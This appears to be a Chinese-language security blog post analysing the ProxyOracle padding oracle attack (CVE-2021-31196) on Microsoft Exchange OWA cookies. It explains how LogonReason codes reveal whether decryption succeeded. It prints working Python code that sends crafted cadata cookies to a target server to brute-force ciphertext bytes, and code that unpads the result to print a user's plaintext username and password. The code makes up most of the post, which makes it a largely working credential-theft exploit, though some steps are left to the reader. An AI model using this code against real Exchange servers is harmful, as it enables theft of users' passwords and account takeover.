Good in study, attitude and health

ProxyOracle利用分析2——CVE-2021-31196

0x00 前言


在上篇文章《ProxyOracle利用分析1——CVE-2021-31195》介绍了获得用户Cookie信息的思路,本文将要介绍如何通过Padding Oracle Attack还原出用户明文口令

0x01 简介


本文将要介绍以下内容:

  • 实现思路
  • 部分开源代码

0x02 实现思路


实现Padding Oracle Attack的前提条件:

1.获得密文和密文对应的IV(初始化向量) 2.能够触发密文的解密过程,且能够知道密文的解密结果

对应到Exchange上面,具体信息如下:

(1)获得密文和密文对应的IV(初始化向量)

Cookie信息中的cadata对应密文,cadataIV对应IV

(2)能够触发密文的解密过程,且能够知道密文的解密结果

我们通过dnsSpy反编译dll能够获得详细的解密过程,方法如下:

使用dnsSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

依次定位到Microsoft.Exchange.HttpProxy -> FbaModule -> ParseCadataCookies(HttpApplication httpApplication)

如下图

Alt text

得到触发密文解密过程的方法:

访问https://<url>/owa,发送GET数据包,Cookie中需要包含cadata、cadataTTL、cadataKey、cadataIV和cadataSig

密文解密结果的判断:

发送GET数据包后,默认进行302跳转,并在响应内容中标记是否解密成功

解密结果可以通过查看LogonReason的定义进行判断

如下图

Alt text

从这里看出,0代表None,这里为格式错误,1代表Logoff,2代表InvalidCredentials,3代表Timeout,4代表ChangePasswordLogoff

我们在尝试解密时,当reason=2,代表解密成功

当reason=3时,代表Cookie已过期,此时无法实现Padding Oracle Attack

注:

Exchange的Cookie有效期为12小时

0x03 部分开源代码


1.破解第0个分组的第8个字节

Python实现的完整示例代码如下:

#python3
import requests
import base64
import sys
import os
import re
import urllib3
urllib3.disable_warnings()


def checkFirstByte(url, flag):
    url1 = "https://" + url + "/owa/"    
    cadata = "wvutFMpkBXBpxdB5WNfcJ2a5WAJaxNX7hjaEx6jKudQXGf+ZDdfhVJfgFc01+dNkS33gBeQmWAkQYNfgnVSkfg=="
    cadataTTL = "tTjVGVGFfG9M0P6lAXm/jw=="
    cadataKey = "oGPdBcVgmUMiC+ZN49GZYyxkfH1jVzG0jWeJ95NRyAXEhr7PKOyLlNcqmgztUHfJnpYu94zFChAW+spsrAU9jbBLvXzP+pcQZMRQ8KjIdFiwcRtIOkE3iuf+v+e+Q+NhVeEghk9eW/jq0E/DjFL2MCC1yQUVEgf7JrXuQWbbocERT/GybkBIddq3RZAbRUWW33jFGWlGqJWTu/BBey3kD8Srhm5fvBC7rfh5MG9gdk6i/aLI/R3jt7khUyU4Vg3iZXYUljLpy1moX2YsZZw6CXuw4oI0t9B8RNfEAjg3LY6/HR06LjrLjSHGBGIWrVVpPcM+o8L9RUajM3WUoDGaSA=="
    cadataIV = "YJD/eLSxuErTgrWO9D2AGvH1HJZhQC9eRppXZAO9gPcRQN1vICq+oYL8lehL/Zyv9NZsliqCwtGxKR6bPx/ieBAqddiYIL4uTJ646XyCSrjNUwG1Ur+1Q3+Lo0fQzjtW3HUEzvbrqwph94aaqM5BGIBCaEOC/6300QI7MIKR/cyyBfzjYuMJODh8SFxFKcD0nYwHfADZiAmaY+Pk5TqWfOJu6aVDy8or7Ax714JPMzcQr1bvX3VQuMQPPXpRwL0jWyHIMgZMwxzhGkfM8kA66UjFGQ07eq3ZzrDNBprmYwmgAoXFiQEop9XWUdBk2Za/OGDW5gVJsk+gJmm4hz/CEw=="
    cadataSig = "jL1+ETV4nVd3cma3T75lr6t9OYKkkb4ksHsZkaGciCtxvjWDfJWo2b6oqHbWJ06W1EyN3j1fh+AYBWB95dJ892WWO027006tkgql+qoKovhkUOfk4QoT9jp3O2+xT6O14JiaNfEIZoIe6DbaEICaUYal/aiwvOvviuiL1DDqz+UTxIiWDehZ1qZ6XyPNu46sVr+G21fLijD1G51ULrxUtGH0JfU56mYMOFiUgyMCpw54h/kxtiBsT3qpho1hsG+sVKXLmYbdY7DJ8ELO12Ql4nhzx5lqzTpH6JFlt+MaHkx6ugR0p9wq/yKbH/0t+HQVSPGWwlrqiK6PkxZCNG4WPg=="

    cipher = base64.b64decode(cadata)
    bs = 16
    if len(cipher) % bs != 0:
        raise ValueError("The length of `cipher` must be a multiple of `bs`")

    cipher_blocks = []
    for i in range(0, len(cipher), bs):
        cipher_blocks.append(cipher[i: i + bs])

    bytetempdata = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + bytes([flag]) 
    bytecadata = bytetempdata + cipher_blocks[1]
    base64cadata = base64.b64encode(bytecadata).decode()

    cookie = {
        "cadata": base64cadata,
        "cadataTTL": cadataTTL,
        "cadataKey": cadataKey,
        "cadataIV": cadataIV,
        "cadataSig": cadataSig,
    }

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    } 
    response = requests.get(url1, headers=headers, cookies=cookie, verify = False, allow_redirects=False)

    if response.status_code == 302 and "reason" in response.text:
        pattern_name = re.compile(r"reason=(.*?)\">here")
        name = pattern_name.findall(response.text)
        print(name[0], end='')
        if name[0] == "2":
            print("\ndecrypt:")
            print(bytecadata)
            sys.exit(0)
        else:
            return False

if __name__ == "__main__":
    for flag in range(0, 256):
        checkFirstByte("192.168.1.1", flag)        

这里需要注意以下细节:

(1)0x00至0xFF遍历

for i in range(0, 256):
    i = bytes([i])
    print(i)

(2)密文分组

分组长度为16

(3)发送GET请求时设置allow_redirects=False来禁用跳转

2.由填充明文到实际明文

在我们完成整个Padding Oracle Attack后,会得到一段填充的明文

由填充明文到实际明文的完整示例代码如下:

#python3
import base64
import re

def unpad(s):
    exe = re.findall("..", s.hex())
    padding = int(exe[-1], 16)
    exe = exe[::-1]

    if padding == 0 or padding > 16:
        return 0

    for i in range(padding):
        if int(exe[i], 16) != padding:
            return 0
    return s[: -ord(s[len(s) - 1 :])]


decipherbyte = b"V\x00z\x00d\x00D\x00p\x00Q\x00Y\x00X\x00N\x00z\x00d\x002\x009\x00y\x00Z\x00D\x00E\x00y\x00M\x00w\x00=\x00=\x00\x04\x04\x04\x04"
decipher = unpad(decipherbyte)
temp = "XX" + decipher.decode("utf_16_le")
plaintext = "??" + base64.b64decode(temp)[2:].decode()

print("[+] User: " + plaintext.split(":")[0])
print("[+] Password: " + plaintext.split(":")[1])

代码执行结果如下图

Alt text

这里需要注意以下细节:

(1)得到填充明文后需要使用PKCS7进行数据填充

(2)实际明文的格式为usename:password

虽然明文的前两字节无法破解,导致用户名显示不完整,但这不会造成影响,因为我们拿到的Cookie信息中,”lgn”显示了完整了用户名称

0x04 小结


本文介绍了通过Padding Oracle Attack还原出用户明文口令的方法,关键代码已开源,剩余的部分留给读者自行完成。


LEAVE A REPLY